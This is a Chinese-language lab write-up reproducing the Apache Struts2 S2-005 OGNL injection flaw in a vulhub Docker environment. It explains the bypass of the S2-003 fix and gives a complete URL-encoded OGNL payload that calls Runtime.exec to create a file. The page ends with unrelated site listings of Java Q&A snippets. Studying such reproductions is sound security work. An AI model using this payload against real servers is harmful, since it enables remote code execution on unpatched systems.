Apache Struts2漏洞复现之s2-005漏洞复现

2023-11-04

0x01 声明:

        仅供学习参考使用,请勿用作违法用途,否则后果自负。

0x02 简介:

        Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java ServletAPI,鼓励开发者采用MVC架构。

        缘起于Apache Struts的WebWork框架,旨在提供相对于Struts框架的增强和改进,同时保留与Struts框架类似的结构。2005年12月,WebWork宣布WebWork 2.2以Apache Struts 2的名义合并至Struts。2007年2月第一个全发布(full release)版本释出。

0x03 漏洞概述:

        s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上。

0x04 影响版本:

        Struts 2.0.0 - Struts 2.1.8.1

0x05 环境搭建:

Docker环境搭建:

        参考这篇文章(https://blog.csdn.net/qq_44281295/article/details/126573488)

漏洞环境搭建:

下载vulhub

GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose

启动项目

进入s2-005目录

cd /root/vulhub/struts2/s2-005/

执行:docker-compose up -d

访问页面:

http://192.168.80.130:8080

 

0x06 漏洞复现:

手动利用:

(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

进入docker查看文件:

执行docker ps 查看容器信息

执行 docker exec -it a80c /bin/bash

成功写入success的文件

工具利用:

(工具出自ABC大佬,公众号:希潭实验室)

0x07 流量分析:

手动利用流量:

工具利用流量:

0x08 修复建议:

        参照官网更新 Struts 版本。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Apache Struts2漏洞复现之s2-005漏洞复现 的相关文章

  • 如何使用retrofit2动态设置超时?

    public class Router private static Retrofit retrofit null public Retrofit getRetrofit if retrofit null OkHttpClient clie
  • jvm中本机代码如何转换为机器代码[关闭]

    Closed 这个问题需要多问focused help closed questions 目前不接受答案 我读过一些文章说 jvm将字节码转换为机器码 jvm将字节码转换为本机代码 jvm 将字节码转换为系统调用 系统调用又由操作系统与硬件
  • 如何实现具有LinkedHashMap类似功能的ConcurrentHashMap?

    我用过LinkedHashMap with accessOrdertrue 并同时允许最多 500 个条目作为数据的 LRU 缓存 但由于可扩展性问题 我想转向一些线程安全的替代方案 ConcurrentHashMap在这方面似乎不错 但缺
  • Java“空白最终字段可能尚未初始化”方法中抛出异常

    我有一些代码 例如 final int var1 if isSomethingTrue var1 123 else throwErrorMethod int var2 var1 throwErrorMethod 的定义如下 private
  • Glassfish:在部署期间修改 EAR 的部署描述符

    经过几天的搜索 尝试和摇头 我将这个问题发布到 SO 尽管它seems已经得到答复 这是场景 我有一个 EAR 应用程序 目前 包含一个 WAR 和一个 EJB 模块 EJB 模块使用 JPA persistence xml 并且一些无状态
  • HTTP KeepAlive 连接已被服务器关闭,但客户端同时发送了请求

    场景如下 有一个 http 反向代理 它有一个与应用程序服务器的持久连接池 它已收到客户端的请求 并在检查连接打开后向后端发出相同的请求 同时 服务器在收到请求之前关闭连接 代理失败 从后端读取错误 错误被发送到客户端 应如何处理这种竞争条
  • 从字符串生成密钥?

    我需要从字符串生成一个密钥 以便我始终可以从同一字符串创建相同的密钥 具体来说是一个Key对象 这样我就可以用它来创建Cipher进而创建SealedObject 这在 Java 中可行吗 我应该考虑什么类 方法组合才能做到这一点 对于 A
  • 按文件名过滤 eclipse 中的警告

    我们使用 Eclipse 进行 Java 开发 并使用 Maven 将 JSP 编译成 servlet 以便在嵌入式 Jetty 实例中使用 这意味着要从 Eclipse 运行该项目 我必须包含 target jsp source 作为源文
  • 为什么我要使用责任链而不是 switch 语句

    考虑一下您已经获得了多次验证 仅当要检查的对象属于某种类型时 这些验证才应生效 为什么我要使用责任链而不是 switch 语句 责任链示例 public class Executor Inject private ValidatorFact
  • 如何在 JdbcTemplate 中创建 mySQL 存储过程

    背景 为了解决 MySql 中某些语句只允许在存储过程中出现的问题 我尝试在 JdbcTemplate 提交的 sql 中创建 运行然后删除存储过程 一个简单的例子是 这恰好是在 Spring Boot 中 Service public c
  • vm 参数中的 -D 是什么,它表示为什么我们必须在 vm 参数中始终指定 -D

    vm 参数中的 D 是什么 它表示为什么我们必须在 vm 参数中始终指定 D 有什么标准吗 如果是 那是什么以及指定的位置 D 设置当前运行的 java 程序可以访问的属性值 它允许程序员设置程序运行所需的值 但程序不知道这些值是什么 因此
  • 获取包中声明的所有 Java 类的名称

    我正在编写一个功能 它将有助于将类放入我的程序的某个包中 另外 我只想要子类某个类的类 我需要这些类才能调用它们的静态方法 有没有一种自动的方法来做到这一点 如果是的话 速度慢吗 如果我不清楚 我想要的是这样的 ArrayList
  • javax.xml.bind.JAXBException: 类 *** 及其任何超类在此上下文中均未知

    我正在尝试通过 REST Web 服务传递对象 以下是我的课程 使用一些示例代码解释了我需要的功能 Rest Web 服务类方法 POST Path find Consumes MediaType APPLICATION FORM URLE
  • 在 REST Web 服务中接受逗号分隔值

    我正在尝试接收 REST URI 中以逗号分隔值形式的字符串列表 示例 http localhost 8080 com vogella jersey first rest todo test 1 abc test 其中 abc 和 test
  • 删除 .htaccess 中 URL 中各处的多组斜杠

    我目前有一个网站 访客可以访问每个网址 并使用任意数量的斜杠来分隔文件夹名称 例如 如果 URL 应该是 http example com one two three four 然后用户可以通过以下任意方式访问同一页面 http examp
  • 如何在 Log4j2 - JSON 布局中自定义或删除默认属性

    In Spring Boot 2我已配置的应用程序Log4j2 with JsonLayout像下面这样
  • AndroidAnnotations 和 Dagger

    我正在尝试使用 Dagger 注入 Android 带注释的 Activity java lang IllegalArgumentException No inject registered for members com app serv
  • 使用正则表达式匹配阿拉伯文文本

    我试图使用正则表达式仅匹配阿拉伯语文本 但出现异常 这是我的代码 txt matches P Arabic 这是例外情况 线程 main 中的异常 java util regex PatternSyntaxException 索引 9 附近
  • 获取Java中ResultSet返回的行数

    我用过一个ResultSet返回一定数量的行 我的代码是这样的 ResultSet res getData if res next System out println No Data Found while res next code t
  • Java 可变 BigInteger 类

    我正在使用 BigIntegers 进行计算 该计算使用一个调用 multiply 大约 1000 亿次的循环 并且从 BigInteger 创建新对象使其非常慢 我希望有人编写或找到了 MutableBigInteger 类 我在 jav

随机推荐

  • 特征金字塔:FPN(Feature Pyramid Networks)

    参考 论文笔记 FPN 特征金字塔 神经网络学习小记录29 特征金字塔 Feature Pyramid Networks FPN 1 introduction 在目标检测中 对于小目标的检测是一个难点 如果我们使用传统的多级卷积运算 可能导
  • DELL服务器 系统格式化[臭章鱼]

    然后按Esc返回到 进去之后选择创建虚拟磁盘 全选然后应用 自行取名字
  • vue报错Error: Cannot find module ‘node-sass‘

    终端输入 npm install node sass save 解决了
  • Chrome的无痕浏览实现初探

    一 功能定义 首先要从功能上明确无痕浏览的作用和目的 涉及的功能包括 Bookmark History Input Browse Download Forms Auto complete SSL Certs Cookie Local Sto
  • 设计模式之状态模式(State)

    概念 State模式也叫状态模式 是行为设计模式的一种 State模式允许通过改变对象的内部状态而改变对象的行为 这个对象表现得就好像修改了它的类一样 状态模式主要解决的是当控制一个对象状态转换的条件表达式过于复杂时的情况 把状态的判断逻辑
  • 测试用例设计工具PICT详细使用教程

    1 成对测试简介 成对测试 Pairwise Testing 又称结对测试 两两测试 是一种正交分析的测试技术 成对组合覆盖这一概念是Mandl于1985年在测试Aad编译程序时提出来的 是 当不可能遍历产品所有功能点时用到的一种测试手段
  • 人工智能方向毕业设计_毕业季|广州美术学院视觉设计学院毕业设计展

    视觉艺术设计学院成立于2010年9月 由广州美术学院最传统的装潢系和新兴的数码艺术设计系联合组建而成 2018年11月 艺术与科技专业并入学院 学院现拥有视觉传达设计 数字媒体艺术设计 动画 艺术与科技4个专业 视觉文化设计工作室 视觉文化
  • Java 缓存介绍(Caffeine,EhCache)

    Caffeine 一个高性能的缓存库 Caffeine 使用 Window TinyLfu 回收策略 可以提供了一个近乎最佳的命中率 依赖 maven
  • Open3D(C++) 模型滤波——均值滤波

    目录 一 概述 1 算法原理 2 主要函数 3 算法源码 二 代码实现 三 结果展示 一 概述 1 算法原理 Open3d包含许多网格滤波的算法 最简单的是均值滤波器 该滤波器能用以网格去噪 一个顶点 v i v i v
  • Oracel的多表查询

    笛卡尔积 说到多表查询 我们离不开的就是笛卡尔积的概念 他的作用就是将所有数据无脑的叠加在一起出现了很多没用的数据 他的特点是 笛卡尔积的行数 A表的行数 B表的行数 笛卡尔积的列数 A表额列数 A表的列数 笛卡尔积的数据集合有一些是无效的
  • [ShaderGraph]12.水晶效果

    边缘发光ShaderGraph节点图 内发光ShaderGraph节点图 透明水晶效果ShaderGraph节点图 效果图 节点解析 边缘光的效果不涉及新节点 自发光的涉及到的新节点是One Minus 透视效果涉及的新节点是View Di
  • 深入了解Python 变量作用域

    更多编程教程请到 菜鸟教程 https www piaodoo com 友情链接 好看站 http www nrso net 高州阳光论坛https www hnthzk com 特点 python的作用域是静态的 在源代码中变量名被赋值的
  • python编写知乎爬虫实践

    爬虫的基本流程 网络爬虫的基本工作流程如下 首先选取一部分精心挑选的种子URL 将种子URL加入任务队列 从待抓取URL队列中取出待抓取的URL 解析DNS 并且得到主机的ip 并将URL对应的网页下载下来 存储进已下载网页库中 此外 将这
  • 前端-elemen-ui中el-cascader组件(自定义)

    关于饿了么儿 的cascader组件后端返回的数据与组件里的参数不同如何处理 后端返回的数据 element ui中Cascader 级联选择器组件结构为 参数不一样 修改方法
  • pytest自动化测试框架tep环境变量、fixtures、用例三者之间的关系

    tep是一款测试工具 在pytest测试框架基础上集成了第三方包 提供项目脚手架 帮助以写Python代码方式 快速实现自动化项目落地 在tep项目中 自动化测试用例都是放到tests目录下的 每个 py文件相互独立 没有依赖 1个文件即1
  • 执行shell脚本出现“let:not found”错误以及解决办法

    问题描述 在写一个脚本循环时候 出现 let not found 这是因为在ubuntu默认是指向bin dash解释器的 dash是阉割版的bash 其功能远没有bash强大和丰富 并且dash不支持let和i 等功能 解决办法 打开一个
  • 消息队列MQ-面试题

    目录 1 什么是消息队列 2 为什么要使用消息队列 1 解耦 2 异步处理 3 削峰 3 使用消息队列带来的一些问题 4 JMS两种消息模型 5 消息队列由哪些角色组成 6 常见消息中间件比较 7 如何保证消息队列是高可用的 RocketM
  • vue开发过程中node和sass互相对应的版本

    点击查看官网node sass和node对应的版本 1 点击查看稳定版链接 2 点击查看拓展版链接 1 检查node版本 2 删除node modules 3 保留原始的package json文件 4 安装node sass 5 安装sa
  • 二维码生成+解码

    在线二维码解码器 二维码安全检测工具 如下
  • Apache Struts2漏洞复现之s2-005漏洞复现

    0x01 声明 仅供学习参考使用 请勿用作违法用途 否则后果自负 0x02 简介 Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构 它利用并延伸了Java ServletAPI 鼓励开发者采